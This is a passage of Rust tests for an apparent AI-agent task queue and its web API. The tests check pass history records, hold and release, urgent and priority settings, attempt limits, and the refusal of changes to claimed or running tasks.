16892        assert_eq!(
16893            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16894            ["a", "b", "a"]
16895        );
16896        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16897        assert!(h[0].outcome.contains("upgrade"));
16898        assert_eq!(h[2].kind, "resume");
16899        assert!(h[2].pass.is_some());
16900        // The old repeated-id format must show the same recorded passes.
16901        task.runs = vec!["a".into(), "b".into(), "a".into()];
16902        let old = task_history(&task, |id| {
16903            Some(if id == "a" { a.clone() } else { b.clone() })
16904        });
16905        assert_eq!(
16906            old.iter()
16907                .map(|v| (&v.id, &v.kind, v.attempt))
16908                .collect::<Vec<_>>(),
16909            h.iter()
16910                .map(|v| (&v.id, &v.kind, v.attempt))
16911                .collect::<Vec<_>>()
16912        );
16913    }
16914
16915    #[test]
16916    fn an_upgrade_whose_target_was_not_known_says_so() {
16917        let run = flow_run(RunStatus::Implementing, |s| {
16918            s.passes = vec![
16919                recorded_pass(
16920                    0,
16921                    parked(crate::run::ParkCause::Upgrade {
16922                        from: "0.121.0".to_owned(),
16923                        to: None,
16924                    }),
16925                ),
16926                recorded_pass(1, None),
16927            ];
16928        });
16929        let task = flow_task(&[RUN_X, RUN_X]);
16930        let h = task_history(&task, |_| Some(run.clone()));
16931        assert!(
16932            h[0].outcome.contains("upgrade from 0.121.0"),
16933            "{}",
16934            h[0].outcome
16935        );
16936        // No settle record: the refund is not claimed.
16937        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16938    }
16939
16940    #[test]
16941    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16942        use crate::queue::PassCost;
16943        use crate::run::ParkCause;
16944        let run = flow_run(RunStatus::Implementing, |s| {
16945            s.passes = vec![
16946                recorded_pass(0, parked(upgrade_cause())),
16947                recorded_pass(
16948                    1,
16949                    parked(ParkCause::Interrupt {
16950                        reason: "task a1b2 asked to run first".to_owned(),
16951                    }),
16952                ),
16953                recorded_pass(2, parked(ParkCause::Operator)),
16954                recorded_pass(3, None),
16955            ];
16956        });
16957        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16958        task.attempts = 1;
16959        task.passes = (0..3)
16960            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16961            .collect();
16962        let h = task_history(&task, |_| Some(run.clone()));
16963        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16964        assert!(
16965            h[1].outcome.contains("task a1b2 asked to run first"),
16966            "{}",
16967            h[1].outcome
16968        );
16969        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16970        assert!(
16971            h[2].outcome.contains("operator asked the loop to park"),
16972            "{}",
16973            h[2].outcome
16974        );
16975        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16976        let f = task_flow(&task, &h, 2, None);
16977        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16978    }
16979
16980    #[test]
16981    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16982        let run = flow_run(RunStatus::Implementing, |s| {
16983            s.passes = vec![
16984                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16985                recorded_pass(1, None),
16986            ];
16987        });
16988        let task = flow_task(&[RUN_X, RUN_X]);
16989        let h = task_history(&task, |_| Some(run.clone()));
16990        assert_eq!(h[0].exit, RunExit::Interrupted);
16991        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16992        assert!(
16993            h[0].outcome.contains("without recording why"),
16994            "{}",
16995            h[0].outcome
16996        );
16997        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16998        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16999    }
17000
17001    #[test]
17002    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17003        use crate::queue::PassCost;
17004        // Three entries, but the run only began keeping passes at the last
17005        // two: the first is legacy and must not be given a cause.
17006        let run = flow_run(RunStatus::Implementing, |s| {
17007            s.passes = vec![
17008                recorded_pass(0, parked(upgrade_cause())),
17009                recorded_pass(1, None),
17010            ];
17011        });
17012        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17013        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17014        let h = task_history(&task, |_| Some(run.clone()));
17015        assert!(h[0].pass.is_none());
17016        assert_eq!(h[0].exit, RunExit::Interrupted);
17017        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17018        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17019        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17020        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17021        // A run with no passes at all is entirely unknown.
17022        let legacy = flow_run(RunStatus::Implementing, |_| {});
17023        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17024        assert!(h.iter().all(|v| v.pass.is_none()));
17025        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17026    }
17027
17028    #[test]
17029    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17030        use crate::queue::PassCost;
17031        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17032        // task. The two entries are passes 0 and 2.
17033        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17034        web.task_entry = false;
17035        let run = flow_run(RunStatus::Implementing, |s| {
17036            s.passes = vec![
17037                recorded_pass(0, parked(upgrade_cause())),
17038                web.clone(),
17039                recorded_pass(2, None),
17040            ];
17041        });
17042        let mut task = flow_task(&[RUN_X, RUN_X]);
17043        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17044        let h = task_history(&task, |_| Some(run.clone()));
17045        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17046        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17047
17048        // Legacy first entry, then a web resume that parked for an upgrade,
17049        // then the daemon's pass: the legacy entry must stay unknown.
17050        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17051        web0.task_entry = false;
17052        let run = flow_run(RunStatus::Implementing, |s| {
17053            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17054        });
17055        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17056        assert!(h[0].pass.is_none());
17057        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17058        assert!(h[1].pass.is_some());
17059    }
17060
17061    #[tokio::test]
17062    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17063        let dir = tempfile::tempdir().unwrap();
17064        let queue = Queue::at(dir.path().join("queue"));
17065        let ui = Arc::new(Ui::new(
17066            queue.clone(),
17067            Questions::at(dir.path().join("questions")),
17068            Talks::at(dir.path().join("talks")),
17069            dir.path().join("runs"),
17070            dir.path().to_path_buf(),
17071            dir.path().to_path_buf(),
17072        ));
17073        let mut t = Task::new(
17074            "recover".into(),
17075            "Inspect".into(),
17076            PathBuf::from("."),
17077            Source::Human,
17078        );
17079        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17080        t.start("run-A".into());
17081        t.release_operator("choice", Some("resume-question"));
17082        t.resume_override = Some(crate::queue::OperatorResume {
17083            question_id: "resume-question".into(),
17084            at: jiff::Timestamp::now(),
17085            conductor_rehold: None,
17086            forced: true,
17087            pinned_run: Some("run-A".into()),
17088        });
17089        t.hold_machine(Some("inspection pending".into()));
17090        t.edit("recover".into(), "Reuse approved PR head".into())
17091            .unwrap();
17092        queue.put(&mut t).unwrap();
17093        let mut cli = t.clone();
17094        cli.release_operator("cli", None);
17095        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17096        let reloaded = queue.get(&t.id).unwrap();
17097        assert_eq!(reply.task.status, TaskStatus::Queued);
17098        assert!(reloaded.resume_override.is_none());
17099        assert_eq!(reloaded.answers, t.answers);
17100        let mut web = reloaded.resumption.unwrap();
17101        let cli = cli.resumption.unwrap();
17102        assert_eq!(web.source, "web");
17103        web.source = cli.source.clone();
17104        web.at = cli.at;
17105        assert_eq!(web, cli);
17106    }
17107
17108    #[tokio::test]
17109    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17110        let f = Fixture::start().await;
17111        let queue = f.queue();
17112        let mut task = Task::new(
17113            "spent".to_owned(),
17114            "Try again".to_owned(),
17115            PathBuf::from("/repo/magi"),
17116            Source::Human,
17117        );
17118        task.start("20260902-140502-bbbb".to_owned());
17119        task.fail("agent gave up", 9);
17120        queue.put(&mut task).expect("file the task");
17121
17122        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17123        assert_eq!(held.status, 200);
17124        assert_eq!(held.json()["status_str"], "held");
17125
17126        let released = f
17127            .post(&format!("/api/queue/{}/release", task.id), None)
17128            .await;
17129        assert_eq!(released.status, 200);
17130        assert_eq!(released.json()["status_str"], "queued");
17131        assert_eq!(released.json()["resumption"]["source"], "web");
17132        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17133        let mut cli = task.clone();
17134        cli.release_operator("cli", None);
17135        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17136        let cli = cli.resumption.unwrap();
17137        assert_eq!(web.instruction, cli.instruction);
17138        assert_eq!(web.answers_through, cli.answers_through);
17139        assert_eq!(web.runs_through, cli.runs_through);
17140        assert_eq!(web.cleared_reason, cli.cleared_reason);
17141        assert_eq!(
17142            released.json()["attempts"],
17143            0,
17144            "release is a real second chance, not an instant re-hold"
17145        );
17146        assert_eq!(
17147            queue.get(&task.id).expect("reload").status,
17148            TaskStatus::Queued,
17149            "the change is on disk, not only in the reply"
17150        );
17151        assert!(
17152            !f.home
17153                .path()
17154                .join("queue")
17155                .join(format!("{}.lock", task.id))
17156                .exists(),
17157            "the claim the mutation took is released again"
17158        );
17159    }
17160
17161    #[tokio::test]
17162    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17163        let f = Fixture::start().await;
17164        let queue = f.queue();
17165        let mut task = Task::new(
17166            "busy".to_owned(),
17167            "Running right now".to_owned(),
17168            PathBuf::from("/repo/magi"),
17169            Source::Human,
17170        );
17171        queue.put(&mut task).expect("file the task");
17172        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17173
17174        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17175
17176        assert_eq!(res.status, 409);
17177        assert_eq!(
17178            queue.get(&task.id).expect("reload").status,
17179            TaskStatus::Queued,
17180            "the refused hold changed nothing"
17181        );
17182    }
17183
17184    #[tokio::test]
17185    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17186        let f = Fixture::start().await;
17187        let queue = f.queue();
17188        let mut task = Task::new(
17189            "waiting on the migration".to_owned(),
17190            "Do the thing".to_owned(),
17191            PathBuf::from("/repo/magi"),
17192            Source::Human,
17193        );
17194        queue.put(&mut task).expect("file the task");
17195
17196        let held = f
17197            .post(
17198                &format!("/api/queue/{}/hold", task.id),
17199                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17200            )
17201            .await;
17202        assert_eq!(held.status, 200, "{}", held.body);
17203        assert_eq!(held.json()["status_str"], "held");
17204        assert_eq!(
17205            held.json()["hold_reason"],
17206            "waiting for 20260101-000000-aaaa to land"
17207        );
17208
17209        let listed = f.get("/api/queue").await.json();
17210        assert_eq!(
17211            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17212            "the card reads the reason off the same list route"
17213        );
17214
17215        // A hold with no body at all must keep working - most holds have no
17216        // reason to give.
17217        let mut plain = Task::new(
17218            "no reason given".to_owned(),
17219            "Do another thing".to_owned(),
17220            PathBuf::from("/repo/magi"),
17221            Source::Human,
17222        );
17223        queue.put(&mut plain).expect("file the task");
17224        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17225        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17226        assert!(held_plain.json()["hold_reason"].is_null());
17227
17228        let released = f
17229            .post(&format!("/api/queue/{}/release", task.id), None)
17230            .await;
17231        assert_eq!(released.status, 200);
17232        assert!(
17233            released.json()["hold_reason"].is_null(),
17234            "a release must clear the reason so the next hold does not inherit it"
17235        );
17236    }
17237
17238    #[test]
17239    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17240        for urgent in [true, false] {
17241            let body: UrgentBody =
17242                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17243            assert_eq!(body.urgent, urgent);
17244        }
17245        for input in [
17246            r#"{}"#,
17247            r#"{"urgent":null}"#,
17248            r#"{"urgent":"true"}"#,
17249            r#"{"urgent":1}"#,
17250            r#"{"urgent":true,"extra":false}"#,
17251        ] {
17252            assert!(
17253                serde_json::from_str::<UrgentBody>(input).is_err(),
17254                "{input}"
17255            );
17256        }
17257    }
17258
17259    #[tokio::test]
17260    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17261        let home = TempDir::new().unwrap();
17262        let q = Queue::at(home.path().join("queue"));
17263        let ui = Arc::new(Ui::new(
17264            q.clone(),
17265            Questions::at(home.path().join("questions")),
17266            Talks::at(home.path().join("talks")),
17267            home.path().join("runs"),
17268            home.path().into(),
17269            home.path().into(),
17270        ));
17271        let mut task = Task::new(
17272            "urgent handler".into(),
17273            "keep".into(),
17274            home.path().into(),
17275            Source::Human,
17276        );
17277        for status in [TaskStatus::Queued, TaskStatus::Held] {
17278            task.status = status;
17279            q.put(&mut task).unwrap();
17280            for urgent in [true, true, false, false] {
17281                let saved = queue_urgent(
17282                    State(Arc::clone(&ui)),
17283                    Path(task.short().into()),
17284                    Ok(Json(UrgentBody { urgent })),
17285                )
17286                .await
17287                .unwrap();
17288                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17289                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17290            }
17291        }
17292        task.status = TaskStatus::Queued;
17293        q.put(&mut task).unwrap();
17294        let claim = q.claim(&task.id).unwrap();
17295        let error = queue_urgent(
17296            State(Arc::clone(&ui)),
17297            Path(task.id.clone()),
17298            Ok(Json(UrgentBody { urgent: true })),
17299        )
17300        .await
17301        .unwrap_err();
17302        assert_eq!(error.status, StatusCode::CONFLICT);
17303        assert!(error.message.contains("released"));
17304        drop(claim);
17305        for status in [
17306            TaskStatus::Running,
17307            TaskStatus::Done,
17308            TaskStatus::Failed,
17309            TaskStatus::Blocked,
17310            TaskStatus::Parked,
17311        ] {
17312            task.status = status;
17313            q.put(&mut task).unwrap();
17314            let error = queue_urgent(
17315                State(Arc::clone(&ui)),
17316                Path(task.id.clone()),
17317                Ok(Json(UrgentBody { urgent: false })),
17318            )
17319            .await
17320            .unwrap_err();
17321            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17322            assert!(error.message.contains(status.as_str()));
17323        }
17324    }
17325
17326    #[tokio::test]
17327    async fn urgent_api_updates_preserves_and_validates_tasks() {
17328        let f = Fixture::start().await;
17329        let q = f.queue();
17330        let mut t = Task::new(
17331            "urgent API".into(),
17332            "unchanged".into(),
17333            PathBuf::from("/repo/magi"),
17334            Source::Human,
17335        );
17336        t.attempts = 2;
17337        t.priority = 9;
17338        t.interrupt = true;
17339        t.hold_reason = Some("waiting for approval".into());
17340        for status in [TaskStatus::Queued, TaskStatus::Held] {
17341            t.status = status;
17342            q.put(&mut t).unwrap();
17343            for urgent in [true, true, false, false] {
17344                let response = f
17345                    .post(
17346                        &format!("/api/queue/{}/urgent", t.short()),
17347                        Some(&format!("{{\"urgent\":{urgent}}}")),
17348                    )
17349                    .await;
17350                assert_eq!(response.status, 200, "{}", response.body);
17351                assert_eq!(response.json()["urgent"], urgent);
17352                let saved = q.get(&t.id).unwrap();
17353                let mut before = serde_json::to_value(&t).unwrap();
17354                let mut after = serde_json::to_value(saved).unwrap();
17355                before["urgent"] = urgent.into();
17356                before.as_object_mut().unwrap().remove("updated_at");
17357                after.as_object_mut().unwrap().remove("updated_at");
17358                assert_eq!(after, before);
17359            }
17360        }
17361        let route = format!("/api/queue/{}/urgent", t.id);
17362        for body in [
17363            r#"{}"#,
17364            r#"{"urgent":null}"#,
17365            r#"{"urgent":"true"}"#,
17366            r#"{"urgent":1}"#,
17367            r#"{"urgent":true,"extra":false}"#,
17368            "{",
17369        ] {
17370            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17371        }
17372        t.status = TaskStatus::Queued;
17373        q.put(&mut t).unwrap();
17374        let claim = q.claim(&t.id).unwrap();
17375        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17376        assert_eq!(response.status, 409, "{}", response.body);
17377        assert!(!q.get(&t.id).unwrap().urgent);
17378        drop(claim);
17379        for status in [
17380            TaskStatus::Running,
17381            TaskStatus::Done,
17382            TaskStatus::Failed,
17383            TaskStatus::Blocked,
17384            TaskStatus::Parked,
17385        ] {
17386            t.status = status;
17387            q.put(&mut t).unwrap();
17388            for urgent in [true, false] {
17389                let response = f
17390                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17391                    .await;
17392                assert_eq!(response.status, 400, "{}", response.body);
17393                assert!(response.body.contains(status.as_str()));
17394                assert!(response.body.contains("queued or held"));
17395                assert!(!q.get(&t.id).unwrap().urgent);
17396            }
17397        }
17398        assert_eq!(
17399            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17400                .await
17401                .status,
17402            404
17403        );
17404    }
17405
17406    #[tokio::test]
17407    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17408        let f = Fixture::start().await;
17409        let queue = f.queue();
17410        let mut older = Task::new(
17411            "filed first".to_owned(),
17412            "x".to_owned(),
17413            PathBuf::from("/repo/magi"),
17414            Source::Human,
17415        );
17416        older.id = "20260101-000001-aaaa".to_owned();
17417        let mut newer = Task::new(
17418            "filed second".to_owned(),
17419            "x".to_owned(),
17420            PathBuf::from("/repo/magi"),
17421            Source::Human,
17422        );
17423        newer.id = "20260101-000002-bbbb".to_owned();
17424        queue.put(&mut older).expect("file older");
17425        queue.put(&mut newer).expect("file newer");
17426
17427        // Equal priority: the newer task leads, the same order the old
17428        // newest-first `list()` already gave every equal-priority queue.
17429        let before = f.get("/api/queue").await.json();
17430        assert_eq!(before[0]["id"], newer.id);
17431        assert_eq!(before[1]["id"], older.id);
17432
17433        // Raising the *older* task is the meaningful case: it can only lead
17434        // now because its priority says so, not because it happens to be
17435        // newest.
17436        let raised = f
17437            .post(
17438                &format!("/api/queue/{}/priority", older.id),
17439                Some(r#"{"priority":10}"#),
17440            )
17441            .await;
17442        assert_eq!(raised.status, 200, "{}", raised.body);
17443        assert_eq!(raised.json()["priority"], 10);
17444
17445        let after = f.get("/api/queue").await.json();
17446        let names: Vec<&str> = after
17447            .as_array()
17448            .unwrap()
17449            .iter()
17450            .map(|t| t["id"].as_str().unwrap())
17451            .collect();
17452        // Highest priority first, which is the order next_runnable and
17453        // `magi task list` both use - GET /api/queue must agree with it
17454        // immediately, not just once the loop claims the task.
17455        assert_eq!(names[0], older.id, "the raised task now sorts first");
17456    }
17457
17458    #[tokio::test]
17459    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17460        let dir = TempDir::new().unwrap();
17461        let q = Queue::at(dir.path().join("queue"));
17462        let ui = Arc::new(Ui::new(
17463            q.clone(),
17464            Questions::at(dir.path().join("questions")),
17465            Talks::at(dir.path().join("talks")),
17466            dir.path().join("runs"),
17467            dir.path().to_path_buf(),
17468            dir.path().to_path_buf(),
17469        ));
17470        let mut t = Task::new(
17471            "budget".into(),
17472            "keep".into(),
17473            dir.path().into(),
17474            Source::Human,
17475        );
17476        t.attempts = 2;
17477        t.runs.push("prior-run".into());
17478        t.hold_manual(Some("waiting".into()));
17479        q.put(&mut t).unwrap();
17480        let change = |value| {
17481            queue_attempt_limit(
17482                State(ui.clone()),
17483                Path(t.id.clone()),
17484                Ok(Json(AttemptLimitBody {
17485                    attempt_limit: value,
17486                })),
17487            )
17488        };
17489        for value in [
17490            serde_json::json!(3),
17491            serde_json::Value::Null,
17492            serde_json::json!(1),
17493        ] {
17494            let response = change(value.clone()).await.unwrap();
17495            assert_eq!(
17496                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17497                value
17498            );
17499            let saved = q.get(&t.id).unwrap();
17500            assert_eq!(
17501                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17502                value
17503            );
17504            assert_eq!(saved.status, TaskStatus::Held);
17505            assert_eq!(saved.attempts, t.attempts);
17506            assert_eq!(saved.runs, t.runs);
17507            assert_eq!(saved.hold_reason, t.hold_reason);
17508            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17509                .await
17510                .unwrap()
17511                .0;
17512            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17513            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17514            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17515            assert_eq!(outcome.max_attempts, detail.max_attempts);
17516        }
17517        for value in [
17518            serde_json::json!(0),
17519            serde_json::json!(-1),
17520            serde_json::json!(1.5),
17521            serde_json::json!("3"),
17522            serde_json::json!(true),
17523        ] {
17524            assert_eq!(
17525                change(value).await.err().unwrap().status,
17526                StatusCode::BAD_REQUEST
17527            );
17528        }
17529        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17530        let claim = q.claim(&t.id).unwrap();
17531        assert_eq!(
17532            change(serde_json::json!(4)).await.err().unwrap().status,
17533            StatusCode::CONFLICT
17534        );
17535        drop(claim);
17536        for status in [
17537            TaskStatus::Running,
17538            TaskStatus::Done,
17539            TaskStatus::Failed,
17540            TaskStatus::Blocked,
17541            TaskStatus::Parked,
17542        ] {
17543            let mut stored = q.get(&t.id).unwrap();
17544            stored.status = status;
17545            q.put(&mut stored).unwrap();
17546            assert_eq!(
17547                change(serde_json::json!(4)).await.err().unwrap().status,
17548                StatusCode::BAD_REQUEST
17549            );
17550            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17551        }
17552        let mut stored = q.get(&t.id).unwrap();
17553        stored.status = TaskStatus::Queued;
17554        q.put(&mut stored).unwrap();
17555        let _ = change(serde_json::Value::Null).await.unwrap();
17556        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17557    }
17558
17559    #[tokio::test]
17560    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17561        let dir = TempDir::new().unwrap();
17562        let repo = dir.path().join("repo");
17563        std::fs::create_dir(&repo).unwrap();
17564        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17565        let q = Queue::at(dir.path().join("queue"));
17566        let ui = Arc::new(Ui::new(
17567            q.clone(),
17568            Questions::at(dir.path().join("questions")),
17569            Talks::at(dir.path().join("talks")),
17570            dir.path().join("runs"),
17571            dir.path().to_path_buf(),
17572            repo.clone(),
17573        ));
17574        let mut t = Task::new(
17575            "seats".into(),
17576            "keep instruction".into(),
17577            repo,
17578            Source::Human,
17579        );
17580        t.runs.push("prior-run".into());
17581        t.hold_manual(Some("waiting".into()));
17582        q.put(&mut t).unwrap();
17583        let change = |count| {
17584            queue_implementers(
17585                State(ui.clone()),
17586                Path(t.id.clone()),
17587                Ok(Json(ImplementersBody {
17588                    implementers: count,
17589                })),
17590            )
17591        };
17592        for count in [2, 1, 2] {
17593            let response = change(count).await.unwrap();
17594            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17595            let saved = q.get(&t.id).unwrap();
17596            assert_eq!(saved.implementers(), Some(usize::from(count)));
17597            assert_eq!(saved.runs, t.runs);
17598            assert_eq!(saved.instruction, t.instruction);
17599        }
17600        for count in [0, 4] {
17601            assert_eq!(
17602                change(count).await.err().unwrap().status,
17603                StatusCode::BAD_REQUEST
17604            );
17605        }
17606        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17607        let claim = q.claim(&t.id).unwrap();
17608        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17609        drop(claim);
17610        for status in [
17611            TaskStatus::Running,
17612            TaskStatus::Done,
17613            TaskStatus::Failed,
17614            TaskStatus::Blocked,
17615            TaskStatus::Parked,
17616        ] {
17617            let mut stored = q.get(&t.id).unwrap();
17618            stored.status = status;
17619            q.put(&mut stored).unwrap();
17620            assert_eq!(
17621                change(1).await.err().unwrap().status,
17622                StatusCode::BAD_REQUEST
17623            );
17624            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17625        }
17626    }
17627
17628    #[tokio::test]
17629    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17630        let f = Fixture::start().await;
17631        let queue = f.queue();
17632        let mut task = Task::new(
17633            "in flight".to_owned(),
17634            "x".to_owned(),
17635            PathBuf::from("/repo/magi"),
17636            Source::Human,
17637        );
17638        task.start("20260902-140502-bbbb".to_owned());
17639        queue.put(&mut task).expect("file the task");
17640
17641        let res = f
17642            .post(
17643                &format!("/api/queue/{}/priority", task.id),
17644                Some(r#"{"priority":9}"#),
17645            )
17646            .await;
17647        assert_eq!(res.status, 400, "{}", res.body);
17648        assert!(
17649            res.json()["error"]
17650                .as_str()
17651                .is_some_and(|e| e.contains("running")),
17652            "{}",
17653            res.body
17654        );
17655        assert_eq!(
17656            queue.get(&task.id).expect("reload").priority,
17657            0,
17658            "the refused write must not partially apply"
17659        );
17660    }
17661
17662    #[tokio::test]
17663    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17664        let f = Fixture::start().await;
17665        let queue = f.queue();
17666        let mut task = Task::new(
17667            "old title".to_owned(),
17668            "old instruction".to_owned(),
17669            PathBuf::from("/repo/magi"),
17670            Source::Agent {
17671                run: "20260101-000000-beef".to_owned(),
17672                node: "implement".to_owned(),
17673            },
17674        );
17675        task.runs.push("20260101-000000-beef".to_owned());
17676        queue.put(&mut task).expect("file the task");
17677        let created_at = task.created_at;
17678
17679        let edited = f
17680            .post(
17681                &format!("/api/queue/{}/edit", task.id),
17682                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17683            )
17684            .await;
17685        assert_eq!(edited.status, 200, "{}", edited.body);
17686        let body = edited.json();
17687        assert_eq!(body["title"], "new title");
17688        assert_eq!(body["instruction"], "new instruction");
17689        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17690        assert_eq!(body["created_at"], created_at.to_string());
17691        assert_eq!(
17692            body["source"]["kind"], "agent",
17693            "editing a task an agent filed must not turn it human: {body}"
17694        );
17695        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17696
17697        let reloaded = queue.get(&task.id).expect("reload");
17698        assert_eq!(reloaded.title, "new title");
17699        assert_eq!(reloaded.instruction, "new instruction");
17700    }
17701
17702    #[tokio::test]
17703    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17704        // The judge is an agent now: a repo whose only agent answers
17705        // "duplicate" stands in for it, so the refusal is the judge's.
17706        let tmp = TempDir::new().expect("tempdir");
17707        let repo = tmp.path().join("repo");
17708        std::fs::create_dir_all(&repo).expect("repo dir");
17709        let judge = MOCK_AGENT_TOML.replace(
17710            "printf ok",
17711            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17712        );
17713        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17714        let f = Fixture::with_repo(repo.clone()).await;
17715        let queue = f.queue();
17716        let mut owner = Task::new(
17717            "owner".to_owned(),
17718            "review it".to_owned(),
17719            repo.clone(),
17720            Source::Human,
17721        );
17722        owner.review_branch = Some("magi/ab12/A".to_owned());
17723        queue.put(&mut owner).expect("file the owner");
17724        let mut task = Task::new(
17725            "draft".to_owned(),
17726            "old".to_owned(),
17727            repo.clone(),
17728            Source::Human,
17729        );
17730        queue.put(&mut task).expect("file the draft");
17731        let url = format!("/api/queue/{}/edit", task.id);
17732
17733        let refused = f
17734            .post(
17735                &url,
17736                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17737            )
17738            .await;
17739        assert_eq!(refused.status, 409, "{}", refused.body);
17740        let msg = refused.json()["error"]
17741            .as_str()
17742            .unwrap_or_default()
17743            .to_owned();
17744        assert!(
17745            msg.contains("magi/ab12/A") && msg.contains("force"),
17746            "{msg}"
17747        );
17748        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17749
17750        let forced = f
17751            .post(
17752                &url,
17753                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17754            )
17755            .await;
17756        assert_eq!(forced.status, 200, "{}", forced.body);
17757    }
17758
17759    #[tokio::test]
17760    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17761        let f = Fixture::start().await;
17762        let queue = f.queue();
17763        let mut task = Task::new(
17764            "in flight".to_owned(),
17765            "do not touch".to_owned(),
17766            PathBuf::from("/repo/magi"),
17767            Source::Human,
17768        );
17769        task.start("20260902-140502-bbbb".to_owned());
17770        queue.put(&mut task).expect("file the task");
17771
17772        let res = f
17773            .post(
17774                &format!("/api/queue/{}/edit", task.id),
17775                Some(r#"{"title":"x","instruction":"y"}"#),
17776            )
17777            .await;
17778        assert_eq!(res.status, 400, "{}", res.body);
17779        assert!(
17780            res.json()["error"]
17781                .as_str()
17782                .is_some_and(|e| e.contains("running")),
17783            "{}",
17784            res.body
17785        );
17786        assert_eq!(
17787            queue.get(&task.id).expect("reload").instruction,
17788            "do not touch",
17789            "the refused edit must not change the file"
17790        );
17791    }
17792
17793    #[tokio::test]
17794    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17795        let f = Fixture::start().await;
17796        let queue = f.queue();
17797        let mut task = Task::new(
17798            "busy".to_owned(),
17799            "Running right now".to_owned(),
17800            PathBuf::from("/repo/magi"),
17801            Source::Human,
17802        );
